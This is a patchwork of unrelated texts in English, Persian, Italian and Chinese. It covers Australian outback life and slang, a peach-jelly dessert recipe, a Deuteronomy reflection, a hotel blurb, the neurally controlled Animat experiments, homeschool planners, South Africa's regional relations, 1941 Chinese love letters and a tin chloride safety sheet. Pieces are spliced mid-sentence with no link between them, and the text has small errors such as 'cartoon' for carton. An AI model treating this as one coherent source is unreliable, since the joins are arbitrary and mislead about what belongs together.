The outback is the Australian word for areas of bush and land far away from large towns and cities. When we think of Australia, we automatically think of kangaroos jumping around the outback, but the larger part of Australia’s 21.75 million people live in the cities. This means that the rest have a lot of room for themselves and live far apart.
The outback is Australia’s dry, open countryside. Farmers there raise cattle or sheep. But they need huge areas to get enough food for their animals because the country is so dry and hot. Some of the biggest farms (or stations as they’re called in Australia) cover more than 2,600 square km – that’s about the size of Luxembourg! The next farm or village can be 200 km away. So things like hospitals and schools can be hundreds of kilometres away and because of this both The Flying Doctors Service and The School of the Air exist.
If someone on a station in the outback gets ill, you can’t just call for the doctor. That’s why The Flying Doctors(officially called ‘The Royal Flying Doctor Service of Australia’) started in 1928. If there’s an accident and somebody is in danger, the doctors come by plane and bring the patients to a hospital. People can also get medical advice by phone and via computers.
The School of the Air started in 1951 and offers education to children who live on farms in the outback and can’t travel to a normal school every day because it’s just too far away. Some live 1,000 km away from the nearest school! So they learn at home. This sounds nice, but they have to work just as hard as other students. The School of the Air sends them their lessons by computer. They get class lessons every day and also some time for personal lessons where they can talk to their teacher. In the past, the pupils did this by radio, but today they use computers and the Internet. So they do their tasks and send them by e-mail. They also get visits from a teacher and sometimes pupils come together for events like sport competitions. 15 percent of the children educated this way are Aboriginal children. The School of the Air is only for primary school children from ages 4 to 13. For secondary school education they have to go boarding schools.
While out in the outback, you will see many interesting road signs that ask you to watch out for animals that may cross the road like kangaroos, or warn you about long vehicles you may see on the road. They’re called Road Trains because they can be 50 metres long!
Many tourists find this funny and take photographs of them. You can also see these signs on popular postcards from Australia.
Many people often joke that sport is the unofficial religion of Australia! Team sports and water sports are very popular.
A very special Australian sport is Aussie Rules. It’s like rugby or American football and can be quite violent. There are two teams with 18 players on each team. It’s played on an oval field with an oval ball. Players can catch the ball in their hand or kick it. When a player kicks the ball between the centre posts, it’s a goal or six points. When the ball is put between the outside posts, it’s a behind – or only point.
Football, rugby and cricket are very popular too and have lots of spectators. Cricket is played in summer, rugby in winter. There is great rivalry between the Australian teams and the English ones. Australia usually beats England at cricket and rugby. But in 2003, when the Rugby World Cup was in Australia, England was the winner.
The Olympic Games in 2000 took place in Sydney. And Australian sportsmen and women were very successful, for example in swimming. Ian Thorpe won three gold and two silver medals in Sydney, and two gold medals, one silver and one bronze medal four years later in Athens.
Some of the best golfers and tennis players come from Australia. Lleyton Hewitt and Samantha Stosur are the most famous Australian tennis players and among the best in the world.
Aboriginal paintings and art from Australia have become more and more famous. In lots of cities and also small towns you can find Aboriginal art galleries and art projects. The paintings usually deal with nature a lot and tell stories about Aboriginal legends. Most of it is dot art: the pictures are made up of thousands of small dots. This symbolizes how the world is made up of small elements that are all connected to one another.
Australians speak English, of course, but have some of their own phrases and slang.
For example, someone will say G’day! when you see them which is short for Good day. If there is a problem, they may say Oh crikey, but as Australians are very relaxed people, they will probably say No worries mate! This means that the problem isn’t anything to worry about. If they aren’t happy about it, then they will probably call it daggy, which is another way of saying uncool. Mate means friend, mainly for men. Everyone in Australia is mate, so they often say G’day mate or Thanks mate.
Australians like to make words shorter, for example a cup of tea or coffee becomes a cuppa, barbecue becomes barbie, Australian becomes Aussie, football becomes footy, kangaroo becomes roo, afternoon becomes arvo. So a conversation might sound like this:
Most Australian slang words relate to animals, idiots, and – of course! – beer. A slab is a cartoon of 24 beer cans, a tinnie is a can of beer, a stubby a small bottle of beer.
Australia has given us many famous people, from sportsmen to actors and musicians.
You’ll surely know Mel Gibson from his films Lethal Weapon, Braveheart or Mad Max. Russell Crowe (L.A. Confidential, Gladiator, Master and Commander),
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صبر و حوصله میخواد و بايد نکاتش رو حتما رعايت کنين تا به نتيجه ی دلخواه برسین.
مواد لازم برای تهیه دسر هلو
مواد لازم براي کرم:
- ژله ی هلو : ۱ بسته
- آب جوش: ۱ و نيم ليوان
- شير: ۱ ليوان
- هلوی زعفرانی: ۲ عدد بزرگ
- شکر: ۴ ق غ
- خامه ی صبحونه: ۳ ق غ
- ژلاتین : ۲ ق غ سر پر
- آب سرد: نصف ليوان
مواد لازم براي قسمت ویترینی :
- ژله ی هلو: ۱ بسته
- آب جوش: ۱ونیم ليوان سرخالی
- هلوی خرد شده: ۱ عدد بزرگ
طرز تهیه دسر هلو با ژلاتین
یک بسته ژله ی هلو رو با يک ونیم ليوان آب جوش مخلوط و بنماری میکنیم.
هلوهای زعفرانی رو شسته، پوست کنده و خرد میکنیم. يه دونه هلو رو براي تزئین نگه می داریم.
حالا داخل مخلوط کن ابتدا دو عدد هلوی خرد شده، شير، خامه، شکر و ژلاتین حل شده و خنک شده رو اضافه و مخلوط میکنیم.
در اين مرحله يک بسته ژله ی هلو رو که بنماری کرده بوديم رو به مواد اضافه و مخلوط میکنیم.
قالب مورد نظر رو با روغن مایع خيلی کم چرب کرده و مواد رو میریزیم و حداقل ۶ ساعت داخل يخچال قرار میدیم تا کاملا ببنده.
بعد از اینکه کاملا دسر بست با کمک چاقو کناره های دسر رو طرح میدیم و بعد با قاشق قسمت های اضافه رو خارج میکنیم.
اين مرحله رو بايد خيلی دقيق انجام بدين تا بعدأ دسر تميز دربیاد.
حالا يه دونه ی هلوی باقیمانده رو داخل قسمت های خالی شده، ريخته و بعد يه بسته ی ژله ديگه رو با یک و نیم ليوان سرخالی آب جوش بنماری میکنیم وقتی کاملا خنک شد، روي هلوهای خرد شده داخل حفره ها میریزیم.
سپس دسر رو داخل يخچال میذاریم تأ ژله نيم بند شه.
در مرحلهی آخر اضافه های دسر رو که خارح کرده بوديم رو دوباره داخل مخلوط کن میریزیم تا کمی روان شه و بعد روي دسر ريخته تا قالب پر شه.
مجدا قالب رو داخل يخچال میزاریم ،بهتره يه شب تا صبح بمونه تا کاملا سفت شه و به راحتي در بیاد.
کناره هاي دسر رو با چاقو آزاد کرده وقتي مطمئن شديم دسر از قالب جدا شده داخل ظرف مورد نظر برمی گردانیم.
اين دسر نياز به تزئین نداره چون خودش به تنهايي زيبا و چشم نوازهRead Deuteronomy 26:1-11
Reflection by Lauren Wright Pittman:
What a beautiful image. A full table, overflowing with the gifts of God re-given and re-distributed among the Levites and the aliens who reside among them. The native and the alien share a meal together in remembrance that their ancestors were once strangers in a land flowing with milk and honey. My ancestors, your ancestors, our ancestors, were once strangers. This text is clear; the alien resides among us and we are to celebrate all that God has given us by sharing in the bounty that God has given to our houses.
This passage reminds me of my own privilege as a white, middle-class, cisgender woman and challenges me to think of new ways I can share in my bounty. I often find myself living in a scarcity mindset, like I need to continue to Scrooge McDuck my way through this life clinging tightly to each penny that enters my bank account. I also grasp tightly to the ease with which I interact with the systems of this country; my privilege has become a comforting friend, a safety blanket. I need to live with open hands, emptying the first fruits of the ground, the fruits of my labor, the tainted fruits of my privilege and offer them back to God. In doing so, I honor my ancestors, and share in abundance with my community— the full extent of my community. We need to see, value, respect, listen to, and learn from the alien among us. We need to face their affliction, toil, and oppression, and let it break our hearts and do something about it. The aliens among us are cause for celebration.L'hotel a 2 stelle Guesthouse Inn Enumclaw si trova a solo 18.3 km da PGP Motorsports Park, Tiger Mountain State Forest e Wild Waves Theme Park.
Il centro città è a 10 minuti a piedi dall'hotel. A 50 minuti d'auto da Bremerton.
Questo hotel vanta la vicinanza a un fiume e parchi.
Guesthouse Inn Enumclaw si trova a 40 minuti d'auto dall'aeroporto Internazionale di Seattle-Tacoma.
Camere
Gli ospiti possono usare un tavolo da lavoro, una microonde e un frigorifero disponibili in tutte le camere di Guesthouse Inn Enumclaw. Vantano i bagni con una doccia e una vasca da bagno.
Cibo & Drink
Gli ospiti sono benvenuti a Lee Restaurant e The Pie Goddess che si trova in vicinanze.
Servizi
La struttura offre assistenza per tour/biglietti e reception 24 ore.An animat is a computer simulated or robotic animal behaving in an environment. Our interfacing of cultures to a simulated environment was the first Neurally-Controlled Animat. We are creating a method to study how information is processed and encoded in living cultured neuronal networks by interfacing them to the Animat, within a virtual world.
Cortical neurons from rats are dissociated and cultured on a surface containing a grid of electrodes (multi-electrode arrays, or MEAs) capable of both recording and stimulating neural activity. Distributed patterns of neural activity are used to control the behavior of the Animat in a simulated environment. The computer acts as its sensory system providing electrical feedback to the network about the Animat’s movement within its environment.
Changes in the Animat’s behavior due to interaction with its surroundings are studied in concert with the biological processes (e.g., neural plasticity) that produced those changes, to understand how information is processed and encoded within a living neural network. Thus, we have created a hybrid real-time processing engine and control system that consists of living, electronic, and simulated components. This approach may be applied to controlling robotic devices, or lead to better real-time silicon-based information processing and control algorithms that are fault tolerant and can repair themselves.
The goal of the hybrot experiment was to create a neural interface between neuron and robot that would exhibit a behaviour of approach and avoidance. That is approach a target object but not collide with it, maintaining a desired distance from the target. If a given neural reaction is repeatable with low variance, then the response may be used to control a robot to handle a specific task.
We used the Koala and Khepera robots (manufactured by K-Team) to embody the cul-tured network, and to provide an environment with a moving object. The Koala robot was used as the neurally controlled robot (also called hybrid living robot or hybrot), while the Khepera served as the reference object, moving at random under computer control. Under neural control, the Koala successfully approached the Khepera and maintained a distance from it, moving forward if the Khepera moved away, or backing up if the Khepera approached.
In addition to demonstrating the computational capacity inherent in cultured neurons, this hybrot can be used to study learning in cultured neural networks.
Meart (Multi-Electrode Array art) is a hybrot built in collaboration with the SymbioticA Research Group . The project explores epistemological, ethical and aesthetical issues concerning the use of living neurons for ethno-centric end.
- Thomas B. DeMarse, Daniel A. Wagenaar, Axel W. Blau & Steve M. Potter;
The Neurally Controlled Animat: Biological Brains Acting with Simulated Bodies.
- Shkolnik, A. C. Neurally Controlled Simulated Robot: Applying Cultured Neurons to Handle and Approach/Avoidance Task in Real Time, and a Framework for Studying Learning In Vitro. In: Potter,
S. M. & Lu, J.: Dept. of Mathematics and Computer Science. Emory University, Atlanta (2003).Homeschool Lesson Plans, Record Keeping and Scheduling
Creating weekly plans is not hard and can make organizing your time easier. I've created 2 different weekly planners to use. A one week planner and the other is 2 weeks planner.
Below are some suggestions on how to use these planners.
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This is my favorite planner. Schedule out 2 weeks of work instead of one. Go ahead and do two of these and have a month scheduled out. If you click on the picture you'll get a pdf version that you can download
It is pretty easy to figure this chart out. Here are a few suggestions and hints.
The top of the page above the actual chart is where you can write in your student's name, the school year, and the weeks this sheet covers. Starting and ending dates.
Down the left side you'll notice the days of the week. There is a blank box just under each day... add the date in that blank box.
Across the top header row write in the subjects or books. In the header row halfway down the page between weeks, go ahead and write in the subjects again. Just keeps things orderly. Then fill in the page numbers or assignments below each subject or book.
It is helpful to use the far right column for all outside lessons or clubs. That column might include all karate or music lessons or field trips.
For us, the first column is always bible or character studies. I'll include Bible studies, Sunday school, Clubs like AWANA. Books or movies that we read that would be considered character studies.
Next you'll notice a skinny little column. You're probably wondering how in the world a woman is supposed to write anything in there! We used that short row to simply check off when we did our family read alouds together.
We usually have a family read aloud book going but these are very unscheduled. I don't always know how long we will read each day and trying to schedule out how many pages was futile. Now I simply check the box and when we finish the book I record it in each students records. This system works great for us as our read alouds are not always pre-planned.
These weekly lesson plans are handy for the boys to be able to see what is expected each day and cross it off. Often they will work ahead and that is OK by me!
I'll also record unplanned activities after the fact on this sheet. I then record it in our homeschool planning software. Putting it on this sheet is quick and easy. And I have it in writing so I don't forget when I sit down to update our record keeping. Ideally this should be done once a week but..... well.... sometimes it only gets done every couple of weeks, thus the need to be able to conveniently write it all down!
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This planner is pretty much the same as the first one. Except obviously it is one week at a time. One item I have added is a few lines at the bottom to add in titles of books read during that week.
This is a great feature if you have a prolific reader. It might be hard to impossible to get them to record what they read each day...or for you to keep up with. However just writing down the names of the books they read each week helps you to keep track. You can create a list from these records.
Back to Homeschool Boys main page.Immigrant Heritage Month
Celebrating the stories of immigrant communities and their allies.
Every June, Philadelphia celebrates Immigrant Heritage Month. A national observance, Immigrant Heritage Month highlights the diversity
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راکز ملکی تامین اجتماعی استان در سه ماهه امسال هم خبر داد و تاکید کرد: ۵۵۰۰ نفر نیز در این مدت بستری شدند.
انتهای پیام/د|South Africa Table of Contents
Official delegations from almost every other African state visited Pretoria in 1992 or 1993 to discuss ways to strengthen bilateral ties. South Africa's estimated 100 assistance projects in twenty-two African countries in 1991 more than doubled by 1994 and provided technical aid and training in agriculture, wildlife conservation, education, and health care. The effects of the early-1990s drought in southern Africa would have been even more devastating to the region's agriculture and wildlife if South Africa had not provided transportation and food assistance to its neighbors.
The change in South Africa's regional standing was dramatically marked by its admission to the Southern African Development Community (SADC) in August 1994. The twelve-member organization (also including Angola, Botswana, Lesotho, Malawi, Mauritius, Mozambique, Namibia, Swaziland, Tanzania, Zambia, and Zimbabwe) aims to promote regional cooperation in economic development and security affairs. The SADC annual meeting of heads of state and government was held in Johannesburg on August 28, 1995. The assembled leaders agreed to create a regional common market with the elimination of all internal trade barriers by the year 2000. They also signed an agreement to share water resources among SADC member nations.
Almost all African countries had depended on South African trade even during the sanctions era, despite their strong rhetorical condemnation of the apartheid regime. In 1991 South Africa's trade with the rest of the continent was at least US$3.5 billion, and this figure increased steadily as apartheid was being dismantled.
For the five landlocked countries of southern Africa (Botswana, Lesotho, Swaziland, Zambia, and Malawi), South Africa's well-developed system of roads, railroads, and port facilities provides a vital trade link. The Southern African Customs Union (SACU), headquartered in South Africa, provides a common customs area, including Botswana, Lesotho, Swaziland, and Namibia (see Foreign Trade, ch. 3).
Relations with Botswana were normalized in the early 1990s, after a period of strained ties in the 1980s. The most contentious issue between the two countries had been Botswana's willingness to provide safe haven for the ANC military wing, MK, and, to a lesser extent, for other opposition groups such as the Black Consciousness Movement of Azania (BCMA--the external wing of the Black Consciousness Movement). Although Botswana officially prohibited ANC use of its territory as a base for attacks against South Africa, the ANC violated this policy during the 1980s, provoking several small-scale raids by the South African Defence Forces (SADF) against ANC bases in Botswana. At the same time, although Botswana joined in the international condemnation of apartheid, its geographic and economic vulnerability deterred it from imposing economic sanctions against South Africa, with whom it maintained extensive but unpublicized trade relations.
Relations improved in the early 1990s, as apartheid was gradually dismantled. ANC camps in Botswana were closed in 1991 and 1992, as several hundred political exiles returned to South Africa under a program administered by the United Nations High Commissioner for Refugees (UNHCR).
Until the 1960s, several South African governments pressed for the incorporation of Lesotho, then a British protectorate, into the Union of South Africa. As a landlocked country completely surrounded by South Africa, Lesotho depended heavily on South Africa for its economic well-being. After Lesotho became independent in October 1966, South Africa played a major role in the country's internal affairs--for example, by supporting the new government led by Chief Leabua Jonathan.
Tensions between the two countries rose in the 1970s because of Lesotho's criticism of South Africa at the UN and at the OAU, its support for the ANC, its provision of safe haven to antiapartheid fighters such as MK, and its close ties to a number of socialist countries. Relations became severely strained in April 1983, when the Jonathan government announced that Lesotho was at war with South Africa, and again in 1984, when Lesotho refused to sign a nonaggression pact with South Africa. In response, South Africa impounded shipments of arms to Lesotho, threatened economic sanctions, and suspended talks concerning the Lesotho Highlands Water Project (a thirty-year cooperative engineering venture that would supply water to South Africa and provide electric power and financial compensation to Lesotho). Tensions eased in 1984, as some ANC forces withdrew from Lesotho, but in 1985 new tensions prompted Pretoria to step up security measures along the border between the two countrries.
In early 1986, South Africa backed a military coup in Maseru, bringing into power a government more sympathetic to Pretoria's security interests. Lesotho expelled several ANC members and technicians from the Democratic People's Republic of Korea (North Korea), whom Pretoria considered a menace, and relations between the two nations improved. Work on the Highlands Water Project resumed, and in 1987 they established a joint trade mission. Relations continued to improve after that, and the countries established full diplomatic ties in May 1992. Pretoria recognized the outcome of Lesotho's March 1993 elections, the first in twenty-two years.
In January 1994, Lesotho's democratically elected civilian government sought South African assistance in quelling an army mutiny over pay and conditions of service in the Lesotho Defence Forces. Pretoria refused to intervene directly, but threatened to seal off Lesotho's borders, which would have blocked vital commercial transportation to and from Maseru. De Klerk and Mandela, together with the presidents of Zimbabwe and Botswana, urged both sides to negotiate an end to the crisis, a move that represented the likely pattern of postapartheid diplomacy in southern Africa.
South Africa's relations with the Kingdom of Swaziland, one of Africa's smallest nations--which South Africa surrounds on the north, west, and south--were shaped by the kingdom's complete dependence on its powerful neighbor for its economic and political well-being. During the 1970s and early 1980s, although Swaziland claimed to be neutral in the East-West conflict, it was actually pro-Western and maintained strong relations with South Africa, including clandestine cooperation in economic and security matters. South Africa invested heavily in Swaziland's economy, and Swaziland joined the Pretoria-dominated SACU. During the 1980s, some South African businesses also used Swazi territory as a transshipment point in order to circumvent international sanctions on South Africa. Relying on a secret security agreement with South Africa in 1982, Swazi officials harassed ANC representatives in the capital, Mbabane, and eventually expelled them from Swaziland. South African security forces, operating undercover, also carried out operations against the ANC on Swazi territory. Throughout this time, part of the Swazi royal family quietly sought the reintegration of Swazi-occupied territory in South Africa into their kingdom.
In June 1993, South Africa and Swaziland signed a judicial agreement providing for South African judges, magistrates, and prosecutors to serve in Swaziland's courts. South Africa also agreed to provide training for Swazi court personnel. In August 1995, the two countries signed an agreement to cooperate in anti-crime and anti-smuggling efforts along their common border.
Bilateral relations between South Africa and Zimbabwe improved substantially as apartheid legally ended. In December 1993, the foreign ministers of both countries met for the first time to discuss ways to improve bilateral ties. Tensions between the two countries had been high since 1965, when South Africa demonstrated tacit support for the unilateral declaration of independence (UDI) by white-dominated Rhodesia (Southern Rhodesia), a former British colony. South Africa also had assisted the new regime led by Prime Minister Ian Smith for almost fourteen years, until it was brought down by a combination of guerrilla war and international pressure.
After Rhodesia's independence as Zimbabwe, the government in Harare supported mandatory sanctions against South Africa and provided political, diplomatic, and military support to the ANC in its armed struggle. Zimbabwe also provided military assistance, including troops, for Maputo's struggle against South African-supported insurgents in the Mozambican National Resistance (Resistência Nacional Moçambicana--MNR or RENAMO). SADF troops retaliated against Harare, with two raids on alleged ANC bases in the capital in 1986 and 1987, and bomb explosions in Harare in October 1987 and in Bulawayo in January 1988.
Relations between the two countries began to stabilize in 1990, after Mandela was released from prison and South Africa moved toward constitutional reform. Even before international sanctions against South Africa were lifted, a number of unpublicized ministerial contacts took place to discuss matters of trade and transport. President de Klerk and Zimbabwean President Robert Mugabe met publicly for the first time on January 27, 1994, when de Klerk, Mandela, Mugabe, and Botswana's President Quett Masire joined together in urging a peaceful resolution to a military mutiny in Lesotho.
President Mandela visited Harare in early 1995. The two countries debated trade issues throughout the year, primarily centered around efforts to dismantle apartheid-era tariffs. In November 1995, a ceremony attended by presidents Mandela and Mugabe marked the opening of a new bridge linking the two countries, across the Limpopo River.
South Africa's relations with Namibia (formerly South-West Africa) were normalized following the 1988 agreement that paved the way for the solution to the interlinked conflicts in Namibia and Angola. Prior to this agreement, Namibia had been under South Africa's control since 1919, when Pretoria received the League of Nations mandate over the territory then known as South-West Africa. In 1946 the UN refused South Africa's request to annex the territory. In 1964 South Africa introduced apartheid in South-West Africa (Pretoria had granted Europeans living there limited self-governing privileges since 1925).
The United Nations General Assembly in 1966 voted to revoke South Africa's mandate and to place the territory under direct UN administration. South Africa refused to recognize this UN resolution until 1985, when President Botha ceded administrative control to the territory's interim government. South Africa allowed a UN peacekeeping force and an administrator to implement United Nations Security Council Resolution 435 (1978), establishing the United Nations Transitional Assistance Group (UNTAG) in Namibia. Finally, on December 22, 1988, South Africa signed an agreement linking its withdrawal from the disputed territory to an end to Soviet and Cuban involvement in the long civil war in neighboring Angola. Namibia's new government, led by the South-West Africa People's Organisation (SWAPO), was elected in a landslide victory in November 1989.
After Namibia's independence in March 1990, South Africa and Namibia established diplomatic ties, but relations between the two countries were uneasy, in part because many of Namibia's senior government officials had been leaders in the guerrilla war to oust South Africa from their country. Namibia nonetheless joined the Southern African Customs Union (SACU) and continued to be almost totally dependent on South Africa in trade and investment. In 1992, for example, 90 percent of Namibia's imports came from South Africa, and South Africa purchased 30 percent of Namibia's exports. Relations improved as apartheid was dismantled.
The two countries established a Joint Administrative Authority to manage the port facilities at Walvis Bay, Namibia's only deep-water port, which had remained under South African control after Namibian independence. Under pressure from the ANC, South Africa then agreed to transfer control over the port enclave to Windhoek before the 1994 elections. Namibia finally assumed control over Walvis Bay on March 1, 1994.
The prospects for multiracial democracy in South Africa prompted Namibia to sign a series of bilateral agreements with Pretoria in anticipation of the close ties they hoped to maintain through the rest of the 1990s. One of these, signed in 1992, pledged cooperation in supplying water to arid regions of both countries along their common border. In December 1994, President Mandela announced his government's decision to write off Namibia's debt, an estimated US$190 million owed to South Africa. He also transferred most South African state property in Namibia to Namibian government ownership.
After Mozambique's independence from Portugal in 1975, relations between South Africa and Mozambique were shaped by the rise to power of the revolutionary Front for the Liberation of Mozambique (Frente de Libertação de Moçambique--FRELIMO) government, and in particular, by FRELIMO's commitment to support regional liberation movements. South Africa provided covert military assistance to the anti-FRELIMO insurgency, RENAMO. In an attempt to curtail South Africa's intervention, Maputo entered into negotiations with Pretoria in late 1983, resulting in a non-aggression pact, the Nkomati Accord, in 1984. This accord committed both countries to end their assistance to each other's opposition movements, and to establish a joint security commission to monitor implementation of the pact. South Africa continued to assist RENAMO, however, and relations between the two countries worsened.
After unsubstantiated allegations of South African involvement in the death (in a plane crash) of Mozambican president Samora Machel in October 1986, demonstrators attacked the South African trade mission in Maputo. Pretoria threatened to retaliate by banning Mozambican migrant laborers from South Africa's mines, but this plan was not implemented. Even after South African security forces raided ANC bases around Maputo in 1987, presidents Botha and Joaquim Chissano met to try to revive the Nkomati Accord. They agreed to establish a joint commission on cooperation and development, whereby South Africa would protect Mozambique's Cahora Bassa power lines, which had been targets of RENAMO sabotage, and would assist in improving Maputo's harbor as well as road and rail links with South Africa.
Relations continued to improve in 1989 following a South African initiative to help resolve Mozambique's civil war. Although both Chissano and RENAMO leader Afonso Dhlakama rejected Pretoria's proposal of United States mediation in Mozambique, Pretoria nonetheless played an important role in persuading the two men to pursue a negotiated peace. South African president de Klerk, Zimbabwe's president Mugabe, and other regional leaders urged Mozambique's warring parties to sign a peace agreement and, after they did so in October 1992, to prepare for democratic elections. In December 1992, the UN began deploying 7,500 troops for the UN Operation in Mozambique (UNOMOZ), and the date for Mozambique's first multiparty elections was finally set for October 1994.
In 1993 South Africa and Mozambique agreed to formalize their trade missions in each other's capitals and to upgrade diplomatic ties. Late that year, the two countries agreed to cooperate in repatriating more than 350,000 Mozambicans who had sought refuge in South Africa--some of the more than 800,000 Mozambican refugees scattered throughout the region. The UNHCR reported that refugees continued returning to Mozambique throughout 1994 as the elections approached.
After South Africa's April 1994 elections, Deputy President Mbeki opened communication channels with RENAMO leaders, including Dhlakama, in an effort to help preserve the fragile peace in Mozambique. President Mandela made his first official state visit to the country on July 20, 1994, and he emphasized the challenges both countries faced in strengthening democratic institutions. The two governments signed agreements establishing a joint cooperation commission to pursue shared development goals in agriculture, security, transportation, and medicine.
In 1996 the two countries began to implement a South African proposal for a small group of South African farmers to settle
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弱点逐渐暴露，情感就会淡了，因为这里头没有辩证的观察问题，更没有辩证的认识问题，当然也不会有正确的方法去解决问题了。人都有其优良的一面和缺陷的一面的，两面相照，发展其优良的一面，同时又要扬弃其缺陷的一面。主要靠自己，同时靠他人。只要对方在基本上是可爱的，是值得可爱的，那就够了，把功夫用在相互帮助、相互教育、相互鼓励上。这是我党对待同志的态度，也是恋爱双方互相对待的态度。倘若能够这样，则双方情感不仅不会越来越淡，相反必会越来越浓，以至白头偕老的。
在上述基本观点和基本态度之下，我们相爱了，这种爱才是最正当最伟大最神圣的!同时也必能是最坚持，最永久的!
所以，你对我的认识和了解，我知道乃是基于政治党性品格，而不是什么地位，地位算什么东西呢？同时，要求你，你必须还要了解我的另一面，急躁，激动，工作方式方法上之不够老练，对人对物有时过于尖锐，使人难堪，对干部有时态度过于严肃，加上某些场合下的不耐烦，使人拘束，涵养不到家，这一切都是我自己实行自我批判自我斗争，而同时请求你在更接近更了解的情况下帮助我去纠正的。对于你，聪明，豪爽，忠诚，多情，不怕危险困难而忠于党，这是好的一面，优良的一面，可是在另外的一面，高傲，虚荣心，——像你所说的，再加上还欠切实，正是你的缺点，却需要你来努力克服的，倘若有了彻底认识，克服虽然必须一个过程，相信是会收到完满成果的。
我希望你的(虽然你已经在作着)是：
(一)加强自己思想意识上的锻炼，你的家庭生活环境薰陶着你，带来了非无产阶级的某些意识，在党对你不断的教育中，特别是在敌后两年烽火的斗争中，已经锻炼的使你更坚强起来了，然而进步是无止境的，还需要加倍努力!最近党中央关于增强党性的指示，是我党自有历史以来最有意义最有教育价值的文献之一，你必熟读，妥为笔记，而主要还依靠于左右同志们的相互坦白检讨，区党委会有具体指示，如何去检讨的，特别应当参考着洛甫(注：即张闻天同志)的《论待人接物》那篇文章，胡服同志《论共产党员修养》小册子，这对于我辈为人为党员为一个革命家，有着决定的作用的。
(二)留心政治，养成对政治的浓厚兴趣，一切应由政治观点上去观察问题，政治是任何一种工作职业的同志所必须具备的，理论修养之外，尤须注意政治形势，根据形势布置工作，分析形势推动形势改变形势，要多多的经常的在这方面用心下功夫啊!报纸电讯不应该放过一个字，一条新闻不能单纯看作一件新闻，而应分析他的实质。先从近处作起，渐而至于国际形势，抱定志向，做一个最实际的政治工作者，有修养的政治工作者。
(三)待人接物上，不要过于锋芒外露，大方之中含有腼腆，我始终没有忘记过一次毛主席在我外出进行统战工作时临别叮嘱的一句话：“对人诚恳是不会失败的!”这句话今天拿来送给你，共同勉励吧。注意我们的态度，我们的语言，我们的待人接物，更谦逊些，更诚恳些，更大方些，更刻苦努力些!
(四)工作，越下层越好锻炼，越深入越能具体了解，也就越能正确解决问题，越能建立信仰，女子生下来长大了是革命的，是工作的，是为大众谋利益的，而不是为的什么单纯性的问题。女子应有其独立的人格，更应有其培养独立人格的场合和环境，即便结婚了之后，我还是主张你应有你的独立的工作环境，我无权干涉你，也不会干涉你。
(五)你写得很好，你应该努力学习写作，记日记，写文章，把材料系统的组织起来写在纸上，这就是文章。要具体材料，不要空洞说理，要提高文化水平，要加强理论修养。你还年轻，我希望你工作之外，又是作家，必会有一天，你是一个帮助我写作有力助手!
亲爱的同志!一切美满的愿望，都是建立在政治理智，情感热心，努力互助互谅之上的!
……
枫 9月14日
颖：
今晚中秋节，月色分外皎洁，赏月归来，内心里总好像少了一件什么东西似的，虽然各单位都在锣鼓喧天，热闹非凡，然而我都没有参加，自己想想中秋节就是这样的轻易的放过去了吗？结果还不是这样的轻易的放过去了!
现在是深夜1时40分了，正当我写了迎击反共军东进的训令之后，觉得必须给你写封信，我何尝不知道你的信或者就在途中，可是因为没有见(别后至今才只接你一封信!)到你的信，总使我念道着你是“爽约”了，难道你比我还要忙吗？马上又体谅到你，因为你是在乡下，会知道谁恰好过湖西来呢？而离岔河和朱坝又那么远，又没有适当的送信人!不管怎么说，我是在盼望着的!算一算，别后给你的信，这已经是第四封了!
一个同志——那是我们的诗人，为你我写了一首诗，第一节已经送到拂晓诗刊上去了，被我事后发觉留下了，他不甘心特为缮写寄给你，第二节还须“待续”，你看看，他写的好不好？至于“枫林”倒双关得十分美丽，事先我还不曾想得出，你也想过吗？下面一首词是秦少游（？）什么人做的，是詠(七夕)的，我特别爱那两句：“两情若是久长时，又岂在朝朝暮暮!？”完全对的呀，两情若是久长时，又岂在朝朝暮暮!？
我打算七号到泗北一带侦察地形去，多则一周少则五天即便返部，倘若届时无什情况，拟赴淮宝一行，但也说不定，五旅在天井湖，已经答应他们要去看看了!而且10月12号，又是本军四周年及四师东征三周年的日子，四个剧团公演，当有一番盛况吧，可惜你不在场!
在反动分子活动的地区，注意你的行动!不要一两个人走路，经常靠近部队，时作有警准备。更要注意你的身体，千万不可大意!
读书有成绩否？计划定出来否？
谁知道什么时候才接到你的信呢!？
祝你
晚安!
雪枫 中秋节之夜2时05分
１９４１年１０月５日
一本苏联小说《新时代的曙光》，不日寄给你，以后写信编上号码，免遗失，当更好，你意如何？
林颖同志：
我于7号出发赴泗北侦察地形，本日午后返半城，前后计六天，经新行圩子、朱湖、川城到泗城东北二十五里之马厂集，集之四围为朱山峰山马鞍诸山，自离开山西以后，已经六年没有登过那样高的山了，在“向上爬”的途中，不禁思念着“江西”。第二天继续北进直到距前次攻打的张楼七里的四山子，继经大柏围子、归仁集、金锁镇、曹家庙、莫唐圩、界头集而返半城，自晨至晚鞍马劳顿，秋风吹秋阳晒，面色红而黑了，身体心情也结实得多了。差不多光在伪区和边区，随时准备着战斗，和我们同时到达四山子的十团的侦察排就与伪军打了一仗，枪声传入我们的耳鼓，大家为之更加精神!军人们都是冒险家啊!
林颖同志，请你放心，大可不必“提防这个估计的可能到来”，这个估计是不可能到来的，起码是在我这方面，而且即便是关怀我俩的友辈提出“主张”，也绝不会如你所顾虑的“再来一个我没有意见”，我会有意见的，我的意见是对他们的好意实行“婉言谢绝”，你猜猜我已经“谢绝”了几个人么？首先是邓和子久，还有其他的人，他们是那样的关心啊!须知：我还不至于那样的庸俗，对于培养和帮助我所心爱的所敬佩的终身伴侣，我是早有一个“腹案”的，那就是为着我们将来的事业，“将来”会使你我更老练些，更有学识些，更善于应付环境些，更能担当繁重的任务，所以必须离得远些，才不妨碍彼此的工作和学习，所以必须更下层些，才能锻炼出一个更有力更坚强更布尔什维克化的女干部来!我所要求的是这样的有信心有眼光有志气的终身良伴，而决不是依恋于“温情”的
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کنش می دهد.
فرمول: SnCl2. 2H2O
جرم مولکولی: 225.6
در 652 درجه سلسیوس تجزیه می شود نقطه ذوب: 38 درجه سلسیوس چگالی : 2.71 g/cm³ حلالیت در آب در 20 درجه سلسیوس: g/100ml >100 (خیلی خوب)
مواجهه و اثرات سلامتی
مسیرهای مواجهه این ماده می تواند از طریق استنشاق آئروسل آن و از طریق بلعیدن جذب بدن شود.
اثرات مواجهه کوتاه مدت ماده برای چشم ها و مجرای تنفسی تحریک کننده است.
خطر استنشاق هنگامی که پراکنده شود می تواند به سرعت منجر به غلظت زیان آور ذرات معلق گردد.
اثرات مواجهه طولانی مدت یا مکرر
حدود مواجهه شغلی
TLV: 2mg/m3 مقدار حد آستانه شغلی به صورت میانگین وزنی زمانی (TWA)؛
محیط زیست
این ماده برای ارگانیسم های آبزی زیان آور است.
توضیحات
